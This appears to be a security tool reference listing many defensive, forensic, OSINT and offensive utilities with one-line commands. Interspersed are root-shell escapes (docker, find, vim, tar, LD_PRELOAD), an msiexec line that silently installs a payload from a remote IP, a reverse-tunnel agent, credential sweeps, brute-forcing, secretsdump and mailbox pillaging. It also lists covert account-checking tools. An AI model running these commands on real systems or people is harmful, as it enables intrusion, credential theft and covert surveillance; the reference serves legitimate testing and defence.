Pulls every failed password attempt out of auth.log and ranks by source, the starting point for spotting a brute-force campaign.

grep 'Failed password' /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn

The findstr equivalent of grep -r, useful on a box where the PowerShell execution policy blocks anything more elaborate.

findstr /si password *.txt *.ini *.config *.xml

A broad but fast sweep of common config locations for embedded passwords, usually the highest-value five minutes on a freshly landed box.

grep -rliE 'password\s*=' /etc /var/www /opt 2>/dev/null

Pull failed-logon events straight from the command line for a quick brute-force check, without opening Event Viewer.

wevtutil qe Security /q:"*[System[(EventID=4625)]]" /f:text /c:20

Fast full-text code search engine across half a million public Git repositories, useful for finding leaked secrets, specific library usage or vulnerable code patterns at scale.

Tracks internet-wide scanning and background noise so a defender can tell "this IP is mass-scanning the whole internet" apart from "this IP is targeting us specifically" — cuts a huge amount of false-positive triage out of alert review.

Finds exploitable settings inside Active Directory Group Policy Objects — the GPO-focused counterpart to BloodHound's ACL/trust focus.

Grouper2.exe -f findings.html

Google's remote live-forensics framework — agents on endpoints answer forensic queries (files, processes, registry, memory) at scale for incident responders who cannot ship a disk image for every host.

Anchore's vulnerability scanner for container images and filesystems — pairs with Syft's SBOMs to give a fast, accurate CVE match against installed packages.

grype myapp:latest

Companion project to GTFOBins cataloguing argument-injection tricks — binaries that can be abused not through their own function but by smuggling attacker-controlled flags into their invocation.

Curated database of Unix binaries that can be abused to bypass local security restrictions (privesc, shell escape, file read/write) once you already have limited execution.

Membership in the docker group is root-equivalent: mounting the host filesystem into a throwaway container gives full read and write access to it.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

find -exec spawns an arbitrary command, so a SUID or sudo-permitted find is a direct root shell.

find . -exec /bin/sh -p \; -quit

vim runs a shell command with :! at its own privilege level, making a SUID or sudo-permitted vim a straightforward escalation.

vim -c ':!/bin/sh' /dev/null

awk system() executes an arbitrary shell command, enough on its own if awk is SUID or sudo-permitted.

awk 'BEGIN {system("/bin/sh")}'

less shells out through the same pager escape as vim and more, and ends up sudo-permitted surprisingly often for "read-only" log viewing.

less /etc/profile
# inside the pager:
!/bin/sh

perl exec() is another classic shell escape, common because perl ships on nearly every Unix-like system by default.

perl -e 'exec "/bin/sh";'

A one-liner that drops into an interactive shell via os.system, the same technique behind most python-based privesc chains.

python3 -c 'import os; os.system("/bin/sh")'

When sudoers keeps LD_PRELOAD in env_keep, a custom shared object constructor runs as root the moment any sudo-permitted command executes.

echo 'void _init(){setresuid(0,0,0);system("/bin/sh -p");}' > x.c
gcc -fPIC -shared -o x.so x.c -nostartfiles
sudo LD_PRELOAD=./x.so <any allowed command>

systemctl status pipes long output through less by default, so a sudo-permitted systemctl inherits the same shell escape as less.

sudo systemctl status trap
# inside the pager:
!/bin/sh

A little-known tar feature runs an arbitrary checkpoint action, which becomes a root shell when tar is SUID or sudo-permitted.

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Fast, free forensic disk imaging GUI for Linux — multi-threaded compression, EWF/E01/raw output and on-the-fly hash verification during acquisition.

Email OSINT and breach-hunting tool that aggregates results from Have I Been Pwned, breach-directory APIs and local dump files against a target address.

h8mail -t [email protected]

A community-maintained methodology wiki covering pentesting techniques across web, cloud, AD, mobile and binary exploitation — organised as a checklist you actually work through during an engagement.

Generates a SHA-256 hash list of an entire directory tree in one pass — feed the output into a threat-intel lookup or diff it against a known-good baseline.

find . -type f -exec sha256sum {} \; > hashes.txt

Older interactive Python tool for guessing a hash's algorithm from its format — largely superseded by hashID/Name-That-Hash but still shipped on many distros.

python hash-identifier.py

The world's fastest password-recovery tool — GPU-accelerated cracking across hundreds of hash modes, from a straight dictionary attack to rule-based and mask attacks.

hashcat -m 1000 -a 0 hashes.txt rockyou.txt

Marc Stevens' toolkit for generating MD5 and SHA-1 chosen-prefix collisions — the codebase behind the SHAttered attack, used in CTF challenges that ask you to produce two files with the same weak hash.

Identifies possible hash types from a string and reports the matching Hashcat mode number(s) — a lighter, older tool than Name-That-Hash but still widely referenced.

hashid <hash>

Performs the hash length extension attack against MD5/SHA1/SHA256/SHA512-based MACs, forging a valid hash for attacker-appended data without knowing the secret key.

hashpump -s <hash> -d <data> -k <keylen> -a <append>

Troy Hunt's free breach-notification service — checks whether an email or password has appeared in a known data breach, with a domain-level API for organisations.

A modern, modular command-and-control framework built for red-team operators, with a Qt-based teamserver client and a plugin system for custom modules.

A Rust-based Windows Event Log fast-forensics timeline generator, built by Yamato Security — evaluates Sigma-compatible rules across EVTX files and outputs a scored, sortable timeline for triage.

hayabusa csv-timeline -d evtx_dir/ -o timeline.csv

Captures WPA/WPA2 handshakes and PMKIDs straight off the air (including from clientless APs) without needing a connected station to deauth.

sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1

Converts hcxdumptool/airodump-ng captures into hashcat/John-crackable formats (22000, PMKID) — the modern replacement for the old cap2hccapx pipeline.

hcxpcapngtool -o hashes.22000 capture.pcapng

Roberto Rodriguez's advanced hunting platform on the Elastic Stack — adds Spark/Jupyter analytics and graph capability on top of ELK for large-scale hypothesis-driven threat hunting.

Curated database of known DLL hijacking opportunities in legitimate Windows and third-party software, indexed by binary, missing DLL and export requirements.

Parses a Chrome/Chromium profile's history, cache, cookies, downloads and autofill into a single timeline and generates a Chrome-viewable HTML report — browser forensics without hand-decoding SQLite and LevelDB by hand.

python3 hindsight.py -i "Default" -o report

CLI tool that checks whether an email address is registered on 120+ websites (via password-reset/registration timing leaks), without ever notifying the target.

holehe [email protected]

Runs PE-sieve across every running process on a system in one pass, flagging and dumping any that show signs of process hollowing or code injection — a whole-host sweep rather than a single-process check.

hollows_hunter64.exe

Classic low-interaction honeypot framework that can simulate thousands of virtual hosts with different OS fingerprints on a single machine, to soak up and log network scans.

honeyd -f honeyd.conf

Extensible, event-driven honeypot framework — dynamically spins up service listeners in response to observed connection attempts, geared toward capturing novel attack traffic.

Google's security-oriented fuzzer that can drive coverage from hardware performance counters as well as compile-time instrumentation, useful when source is unavailable.

honggfuzz -i in -o out -- ./target ___FILE___

Commercial disassembler/decompiler for macOS and Linux binaries (x86/x64/ARM), a common pick where Ghidra/IDA feel heavier than a single-binary CTF challenge needs.

Shellphish's collection of annotated, runnable examples of glibc heap exploitation techniques (fastbin dup, unsafe unlink, tcache poisoning and more) across libc versions — the standard reference for learning heap pwn.

An interactive, scriptable HTTPS proxy for inspecting and modifying traffic on the fly — the open-source alternative to Burp when you need Python scripting against the traffic stream itself.

mitmproxy --mode transparent

ProjectDiscovery's fast, multi-purpose HTTP probing tool — takes a list of hosts and reports which are alive, their titles, status codes, tech stack and more, in one pass.

cat subdomains.txt | httpx -title -tech-detect -status-code

Fast, multi-purpose HTTP toolkit for probing a large list of hosts/subdomains — status codes, titles, tech fingerprints and TLS data — as a recon pipeline stage.

cat subs.txt | httpx -title -tech-detect -status-code

Pulls Sysmon Event ID 3 (network connection) entries for a given process image — useful for confirming whether a suspicious binary actually phoned home.

Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' |
  Where-Object { $_.Id -eq 3 -and $_.Message -match 'powershell.exe' } |
  Select-Object TimeCreated, Message

Greps Sysmon Event ID 1 (process creation) for a suspicious substring in the command line — quick manual hunting when you do not yet have a Sigma rule for it.

Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' |
  Where-Object { $_.Id -eq 1 -and $_.Message -match 'EncodedCommand' } |
  Select-Object TimeCreated, Message

WMI event subscriptions (filter, consumer, binding) are a fileless persistence mechanism that a quick disk sweep will miss entirely.

Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

Internet-asset search engine with a particular focus on IoT/ICS device fingerprinting, alongside general host/service banner search.

Finds and verifies professional email addresses tied to a domain, including the naming pattern a company uses — a staple for recon during phishing-simulation and social-engineering engagements.

Looks up an ASN's announced prefixes, peers and reverse-DNS in-bulk, a go-to reference for understanding whose network address space actually belongs to.

CrowdStrike's free public malware sandbox (Falcon Sandbox front end) — submit a sample or hash and get a detailed static/dynamic report, MITRE ATT&CK mapping included.

A parallelised network login cracker supporting dozens of protocols (SSH, FTP, HTTP forms, RDP, SMB…) — the go-to tool the moment you have a login form and a wordlist.

hydra -l admin -P passwords.txt ssh://10.10.10.10

STM32-based open-source hardware for UART/SPI/I2C/JTAG/CAN work, in the same niche as the Bus Pirate but built around faster hardware and an extensible HydraFW firmware.

picocom /dev/ttyACM0 -b 115200

Anonymising overlay network built around garlic routing, distinct from Tor in design — used for peer-to-peer anonymous services rather than mainly anonymising exit traffic to the clear web.

The cryptography community's own preprint repository — new attacks, protocols and proofs are posted here well before appearing at CRYPTO, EUROCRYPT or a journal.

Searchable database of entities named in the ICIJ's cross-border investigations (Panama Papers, Paradise Papers, Pandora Papers and others).

The long-standing commercial gold standard for disassembly and decompilation — deep processor/format support and a mature plugin ecosystem, still the default in a lot of professional RE work.

Free people- and username-search engine that aggregates social profiles, images and public records for a name or handle into one results page.

Checks whether a phone number is registered on services such as Instagram, Snapchat and Amazon by abusing account-recovery flows, without alerting the target.

ignorant 33 612345678

Parses a full-filesystem iOS extraction into readable, categorised forensic reports (messages, location, app usage, health data) — the standard open-source companion to a Cellebrite/GrayKey iOS acquisition.

python3 ileapp.py -t fs -i extraction/ -o report/

Open-source .NET decompiler with a CLI (ilspycmd) for scripted use alongside the desktop app, decompiling IL back to readable C#.

ilspycmd MyAssembly.dll -o out/

Hex editor built for reverse engineering, with a C++-like pattern language for describing and colour-highlighting a binary format live as you scroll through it.

Windows debugger built for exploit development, with a Python API and the PyCommands ecosystem (mona.py) that a lot of older exploit-dev writeups still assume.

A collection of Python classes for working with network protocols, and the toolset (secretsdump, psexec, GetUserSPNs, smbexec…) built on them — the backbone of most Windows/AD assessment tooling.

impacket-secretsdump DOMAIN/user:[email protected]

Parses NTFS INDX ($I30) directory index attributes — surfaces filenames and timestamps for files that have since been deleted from a directory.

python INDXParse.py -d \$I30 > indx.csv

Simulates common internet services (HTTP, DNS, SMTP, FTP…) so malware detonated in an isolated lab thinks it has internet access — captures every request it makes.

inetsim --data-dir /var/lib/inetsim/data

Gathers email account information (source, validity, associated hostname) from public search engines and PGP key servers for a target domain.

python3 infoga.py --domain example.com --source all -v 2

Directory of publicly reachable IP cameras with no or default authentication, browsable by country and manufacturer — an oft-cited example of what exposed device search finds.

Offline viewer for analysing recorded IQ capture files by eye — zoom, measure and manually mark out symbols in a signal before writing a decoder for it.

inspectrum capture.cfile

msiexec fetches and silently installs an MSI straight from a UNC or HTTP path, the installer equivalent of the mshta trick.

msiexec /quiet /i http://10.10.14.7/payload.msi

InstallUtil.exe, a signed .NET Framework binary, will run a custom installer class's methods — a documented LOLBAS execution path.

InstallUtil.exe /logfile= /LogToConsole=false /U file.exe

Search engine and data archive covering leaks, breaches, darknet content, WHOIS history and document dumps, searchable by selector (email, domain, IP, hash, Bitcoin address).

A threat-intel aggregation platform that fans a single observable (hash, IP, domain, URL) out to dozens of analyzers — VirusTotal, AbuseIPDB, YARA, sandboxes — and returns one combined report instead of querying each by hand.

A companion search-tool page (distinct from the methodology site above) that auto-builds search-engine and social-media queries for a target across many services from one form.

Full-text search across the Internet Archive's millions of archived books, documents and software — distinct from the Wayback Machine's URL-based page snapshots.

Malware analysis platform built around code-reuse/genetic similarity — classifies a sample by comparing its compiled code fragments against known malware and software libraries.

Checks a domain's DNS and mail-server configuration for common mistakes (missing glue, lame nameservers, SOA issues) and grades the result.

PowerShell/C# LLMNR, NBNS and mDNS spoofer for Windows-based operators — the Windows-side equivalent of Responder, with an interactive console.

Import-Module .\Inveigh.ps1; Invoke-Inveigh -NBNS Y -LLMNR Y

Browser-extension verification toolkit for images and video: keyframe extraction, reverse image search shortcuts and metadata inspection in one panel.

Interactive PowerShell obfuscation framework — token, string, encoding and launcher obfuscation layers stacked together to evade signature detection.

Invoke-Obfuscation

IP geolocation and ASN lookup API/website, commonly wired into recon scripts for a quick org/location answer on an IP list.

curl -s ipinfo.io/1.1.1.1

Simple bulk IP-to-ASN lookup service with a downloadable dataset, useful when you need to tag a large IP list with owning ASN offline.

Open-source network recon framework for running your own internet-wide or internal scans and organising the results in a queryable database, essentially a self-hosted Shodan.

Decompiles Android DEX bytecode back into readable Java source, with a GUI for browsing the result — usually paired with Apktool for a full APK reversing workflow.

jadx app.apk

Standalone Java decompiler GUI for browsing .class/.jar bytecode as reconstructed source — quick and disposable compared to a full IDE decompiler plugin.

Long-running EXIF/GPS metadata viewer for an image URL or upload — a quick, no-signup way to check what a photo leaks before ExifTool is available.

Eric Zimmerman's jump list parser — extracts recently/frequently accessed files and applications from AutomaticDestinations/CustomDestinations jump-list files.

JLECmd.exe -d C:\Users\<u>\AppData\... --csv out

Deep-analysis malware sandbox with a free cloud-basic tier — hybrid static/dynamic/hypervisor-based analysis with especially detailed behaviour and evasion detection signals.

A long-standing password cracker supporting hundreds of hash and cipher types, with the community "jumbo" fork adding formats and features far beyond the base distribution.

john --wordlist=rockyou.txt hashes.txt

Simple JPEG steganography tool for hiding and revealing data in the DCT coefficients of a JPEG file — a common CTF format that plain LSB-in-PNG tools do not handle.

jsteg reveal in.jpg out.txt

Hardware tool that brute-forces which pins on an unlabelled header are JTAG or UART, and at what configuration, before any actual debugging can start.

picocom /dev/ttyUSB0 -b 115200

Gathers and visualises passive intelligence about a set of IP addresses (geolocation, org, historical activity) without touching the hosts themselves.

Network protocol analyzer focused on HTTP — logs requests/responses in a customisable format similar to a web server access log, straight off the wire.

justniffer -i eth0 -p "http.request.uri"

A toolkit for testing, tampering with and cracking JSON Web Tokens — algorithm-confusion attacks, signature stripping, and a scan mode against a list of known JWT misconfigurations.

python3 jwt_tool.py <token> -T

Brute-forces the HMAC secret used to sign a JWT (HS256/HS384/HS512), turning a weak signing key into a fully forgeable token.

jwt-cracker eyJhbGciOi... abcdefghijklmnopqrstuvwxyz 6

The Debian-based Linux distribution built specifically for penetration testing, security research and forensics — hundreds of tools preinstalled and maintained by Offensive Security.

Official Kali Linux mobile penetration testing platform — runs a Kali chroot/rootfs alongside Android, with wireless injection support and NetHunter-specific apps on compatible devices.

Builds interactive maps and screenshot galleries of internet-connected cameras and ICS devices discovered via internet scan-search-engine APIs.

Kroll Artifact Parser and Extractor — targets collect and copy specific forensic artifacts (registry, event logs, prefetch, browser data…) and modules parse them, all in one fast pass.

kape.exe --tsource C: --tdest T:\triage --target !SANS_Triage --mdest M:\module --module !EZParser

Targeted collection and parsing of forensic artifacts from a live or imaged Windows system in minutes — pulls only the files that matter (registry hives, event logs, browser history, prefetch) instead of a full disk image.

kape.exe --tsource C: --tdest D:\triage --target !SANS_Triage

CERT.pl's distributed malware analysis pipeline framework — chains classifiers, unpackers and config extractors as independent workers around a shared task queue.

A fast web crawler from ProjectDiscovery built for security testing — headless-browser-aware, JavaScript-parsing crawl that feeds URLs straight into fuzzing or nuclei.

katana -u https://target.tld -jc -d 3

Quickly bruteforces and enumerates valid Active Directory usernames via Kerberos pre-authentication — much quieter than an LDAP bind sweep since failed guesses barely touch the event log.

kerbrute userenum -d domain.local --dc 10.10.10.10 users.txt

IDA plugin that uses Keystone to assemble and patch instructions directly in the disassembly view, instead of hand-editing raw bytes.

Multi-architecture assembler framework from the Capstone team — turns assembly text back into machine code for shellcode and patch development.

Checkmarx's open-source IaC security scanner — thousands of queries across Terraform, Kubernetes, Docker, CloudFormation and more, built on the same query engine as Checkmarx's SAST.

kics scan -p ./infra -o results/

A wireless network and device detector, sniffer and WIDS framework — covers WiFi, Bluetooth, and SDR-fed protocols well beyond what aircrack-ng alone monitors.

kismet -c wlan0

Symbolic execution engine that runs LLVM bitcode and generates test cases covering every path it can reach — used for both bug-hunting and CTF challenges compiled to bitcode.

klee ./program.bc

JScript/VBScript-based C2 ("COM Command & Control") that lives almost entirely off Windows Script Host, useful for living-off-the-land style tradecraft demos.

python2 koadic.py

Java decompiler and assembler that specifically handles malformed or deliberately obfuscated class files other decompilers choke on — a favourite when a CTF Java challenge fights back.

Aqua Security's tool for checking whether Kubernetes is deployed according to the CIS Kubernetes Benchmark — runs as a pod against the cluster's own components.

kube-bench run --targets node,policies

Hunts for security weaknesses in Kubernetes clusters — from inside a pod or from outside the network, probing the API server, kubelet and common misconfigurations.

kube-hunter --remote your-cluster-ip

ARMO's Kubernetes security platform — scans manifests, live clusters and container images against NSA/CISA hardening guidance, MITRE ATT&CK for containers and custom frameworks.

kubescape scan framework nsa

Hak5's covert USB-Ethernet pass-through implant — sits inline on a wired network for remote access, recon and MITM modules while looking like a USB adapter.

Enumerates which computer accounts have LAPS-managed local admin passwords readable by the current user and dumps them over LDAP.

python3 laps.py -u user -p pass -d corp.local

Dumps an Active Directory domain over LDAP into browsable HTML/JSON/CSV reports of users, groups, computers, policies and trusts.

ldapdomaindump -u corp.local\\user -p pass 10.10.10.5

Lists a binary's dynamic library dependencies and where it resolves them from — if one resolves to a directory you can write to, that's a privesc primitive.

ldd ./suspicious-binary

Breach-data search engine checking whether an email, username or password has surfaced in a known leak, with a public API for programmatic checks.

Open-data search engine that indexes misconfigured/exposed services and leaked data found on the public internet, including open databases and plaintext credential leaks.

Eric Zimmerman's LNK (shortcut) file parser — recovers target paths, volume serials, MAC addresses and timestamps embedded in Windows shortcut files.

LECmd.exe -f target.lnk

WithSecure's framework for testing cloud detection and response by executing ATT&CK-mapped attack techniques against AWS/Azure/GCP, driven by simple YAML test definitions.

Local database and search tool for identifying which glibc build a leaked symbol address or offset belongs to, once you have leaked one libc pointer.

./find printf 7c0

Python library that searches a local libc-database for the exact libc version matching one or more leaked symbol addresses, then resolves the offsets of other symbols in it.

Library and CLI tools for reading/writing the Expert Witness Format (E01) used by EnCase/FTK — acquire, verify and mount E01 images from the command line.

ewfacquire /dev/sdb

In-process, coverage-guided fuzzing engine linked directly into an LLVM/Clang target — the standard way to fuzz a single function without forking a process per input.

clang -fsanitize=fuzzer,address target.c -o fuzz && ./fuzz

The base NFC hardware abstraction library most Linux NFC tooling is built on, including mfoc and mfcuk — the standard tools for recovering MIFARE Classic keys.

nfc-list

Auto-discovering network monitoring platform — SNMP-based inventory and alerting across switches, routers, servers and more, a free alternative to commercial NMS suites.

Library to parse, modify and abstract ELF, PE and Mach-O binaries from a single API — handy for scripting patches (add a section, change an entry point) without reaching for a hex editor.

A tunneling/pivoting tool that sets up a real network interface (TUN) on the attacker box, so pivoted traffic looks and behaves like normal routing rather than a SOCKS proxy.

# proxy: ./proxy -selfcert\n# agent: ./agent -connect 10.10.14.7:11601 -ignore-cert

SecOps cloud platform built from composable primitives — an EDR-grade sensor, detection & response rules, and log ingestion, priced and built for building your own security stack.

Loadable kernel module for full Linux memory acquisition over network or to local disk — the standard way to capture RAM from a live Linux host for forensic analysis.

insmod lime.ko "path=/mnt/usb/mem.lime format=lime"

Login items are a user-visible persistence mechanism distinct from LaunchAgents, and osascript can enumerate them without opening System Settings.

osascript -e 'tell application "System Events" to get the name of every login item'

Attacker C2 frameworks and lateral-movement tools frequently create distinctively named pipes; a mismatch against a known baseline is a fast lead.

[System.IO.Directory]::GetFiles("\.\pipe\")

launchctl list shows every job launchd currently manages, including a job with no on-disk plist left to find.

launchctl list | grep -v com.apple

If a bucket's ACL allows public listing, the AWS CLI enumerates it anonymously — the fastest possible bucket-exposure sanity check.

aws s3 ls s3://target-bucket-name --no-sign-request

Confirms what the current account itself has scheduled, useful both for enumeration and for spotting attacker persistence.

crontab -l

The first command in almost any Windows privesc checklist: a flag like SeImpersonatePrivilege or SeBackupPrivilege points straight at a known escalation path.

whoami /priv

Confirms what a process is actually talking to right now, the fastest way to spot a live C2 beacon or an exfil channel.

ss -tnp state established

macOS persistence almost always lives in a LaunchAgent or LaunchDaemon plist — this lists every one across the user and system locations in one pass.

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/null

Extended attributes are an easy-to-overlook place to smuggle a small payload or marker outside a file normal content stream.

find / -xdev -exec getfattr -d {} \; 2>/dev/null | grep -B1 '^user\.'

A quick sweep for a custom allow-rule that could be an attacker tunnel, or an admin forgotten backdoor port.

netsh advfirewall firewall show rule name=all dir=in | findstr /i "Rule Enabled Action LocalPort"

A malicious or unexpected MDM configuration profile can silently redirect DNS, install a root CA, or restrict settings; this lists everything currently installed.

profiles list -verbose

A rogue Safari extension is a common, low-friction way to persist browser-based data theft; this enumerates what is installed without opening Safari.

ls -la ~/Library/Safari/AppExtensions ~/Library/Containers/com.apple.Safari/Data/Library/Safari/AppExtensions 2>/dev/null

Faster and quieter than Get-WmiObject Win32_Product, which triggers an MSI repair scan on every single call.

Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher

Lists Keychain item service and account names, not the secrets themselves without further prompts, a fast way to see what credentials an account has stored.

security dump-keychain -d login.keychain | grep -A1 "0x00000007"

Quick cluster-wide audit for containers that do not need to run privileged or as root but do anyway — a top item on any container hardening review.

kubectl get pods --all-namespaces -o json | jq -r '.items[] | select(.spec.containers[].securityContext.privileged==true or .spec.securityContext.runAsUser==0) | "\(.metadata.namespace)/\(.metadata.name)"'

Shows every listening TCP/UDP socket together with the PID that owns it, the fastest way to see what a box is actually exposing.

ss -tulpn

Third-party kexts are rare on modern macOS since most vendors moved to system extensions, which makes any unfamiliar one worth investigating immediately.

kextstat | grep -v com.apple

Confirms exactly who lands in the high-value bucket before spending time on a privesc chain that was not even necessary.

Get-LocalGroupMember -Group "Administrators"

dscl reads the same account database System Settings does, without needing the GUI, useful for spotting a hidden or newly created account.

dscl . list /Users | grep -v '^_'

lsof is available on macOS just as on Linux, and remains the most direct way to tie a listening or connected socket back to its process.

lsof -i -P | grep -i listen

A process running from memory with a deleted or missing on-disk image is a strong process-injection/hollowing indicator — this osquery pulls exactly that condition.

osqueryi "SELECT pid, name, path, cmdline FROM processes WHERE on_disk = 0;"

Ties every running process back to the account it runs as, useful for spotting a SYSTEM service worth targeting or a session already compromised.

Get-WmiObject Win32_Process | Select-Object Name, ProcessId, @{n='Owner';e={$_.GetOwner().User}}

Scheduled tasks are one of the most common Windows persistence mechanisms; this lists every task with its creation/last-run time so a recently added one stands out.

Get-ScheduledTask | Get-ScheduledTaskInfo |
  Sort-Object LastRunTime -Descending |
  Select-Object TaskName, LastRunTime, NextRunTime

Webshells and dropped files usually touch a file's mtime; this narrows a whole web root down to what changed in the suspected compromise window.

find /var/www -type f -mmin -1440 -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort

A task run by SYSTEM that points at a user-writable script or binary is a common, realistic local privesc; this dumps every task run-as and command.

schtasks /query /fo LIST /v | findstr /i "TaskName Run As User Task To Run"

A password passed on the command line, visible only with the ww flag, is a recurring and embarrassingly simple credential leak.

ps auxww

Finds services whose executable path contains a space and no quotes — a classic Windows privilege-escalation vector if you can drop a file into one of the ambiguous path segments.

Get-WmiObject win32_service | Where {$_.PathName -notlike 'C:\Windows*' -and $_.PathName -notlike '"*'} | Select Name,PathName

A shadow copy can still hold an old SAM, SYSTEM or NTDS.dit, letting credentials be extracted without touching the live locked file.

vssadmin list shadows

A service binary path an unprivileged user can overwrite is a classic privilege-escalation and persistence weakness; this narrows the whole service list down to that condition.

Get-WmiObject win32_service | Where-Object { $_.StartName -eq 'LocalSystem' } |
  Select-Object Name, DisplayName, PathName, StartMode

Crowd-sourced database mapping relationships between powerful people, companies and organisations — board seats, donations, family ties.

Watches SSH failed-password attempts as they happen — the manual, no-Fail2ban-installed version of noticing a brute-force in progress.

tail -f /var/log/auth.log | grep --line-buffered 'Failed password'

PowerShell module that scans Active Directory Certificate Services (AD CS) for the common ESC1-ESC8-style misconfigurations, and can remediate several of them automatically.

Invoke-Locksmith -Mode 2

Free triage tool that pulls and highlights the Windows Event Log entries and registry/config items that matter most for malicious activity detection and log hardening review.

Florian Roth's free IOC and YARA scanner — walks a filesystem checking file hashes, filenames, YARA signatures and known-bad registry/process indicators against a curated ruleset, for a quick compromise check on a single host.

python loki.py -p C:\

The Windows counterpart to GTFOBins — signed, native Windows binaries and scripts that can be repurposed to download, execute or exfiltrate without dropping extra tooling on disk.

Reference database of Windows binaries, scripts and libraries that can be repurposed for living-off-the-land attack techniques — the site itself, not any single one-liner in it.

Catalogue of known vulnerable and malicious signed Windows kernel drivers (the "bring your own vulnerable driver" list) used for EDR-killing and kernel-level attacks.

macOS equivalent of GTFOBins/LOLBAS — documents native macOS binaries that can be abused for living-off-the-land offensive techniques.

Queries the public libc.rip / libc-database mirror with one or more leaked symbol addresses to identify the exact libc build a remote pwn target is running.

curl -s https://libc.rip/api/find -H 'Content-Type: application/json' -d '{"symbols":{"printf":"0x7f..."}}'

Automates generating obfuscated Office macros, VBS, HTA and other MS Office payloads for phishing-based initial access simulations.

macro_pack.exe -t GENERATE -G payload.doc -o -f script.vba

Commercial DFIR platform from Magnet Forensics — unifies computer, mobile and cloud artifact recovery with a single timeline/case view, common in corporate and LE forensics labs.

Free Windows RAM acquisition tool from Magnet Forensics — simple GUI, outputs a raw memory image suitable for Volatility or Magnet AXIOM.

Username OSINT tool that collects a person's accounts across thousands of sites and can generate an HTML/PDF report, going further than a simple existence check by pulling profile data.

maigret target_username --html

Searches Exchange/Office 365 mailboxes for sensitive strings (passwords, "VPN", etc) and can password-spray OWA/EWS — post-compromise mailbox pillaging in one PowerShell module.

Invoke-SelfSearch -Mailbox [email protected] -Terms "password"

Hex-editor-meets-static-analyzer built for malware and CTF work — combines hex view, disassembly, string extraction, entropy visualisation and YARA scanning in one IDE-like window.

CISA's network traffic analysis toolset — packages Zeek, Suricata and Arkime with an OpenSearch/Kibana front end into one Docker-composed stack, for a full-fidelity network monitoring deployment without building it component by component.

CERT.pl's Python library for malware config extraction and crypto/decoding primitives — the extraction engine behind mwdb/Karton pipelines for many malware families.

A graphical link-analysis platform for OSINT — runs "transforms" against an entity (domain, email, person) and draws the results as an explorable graph rather than a flat list.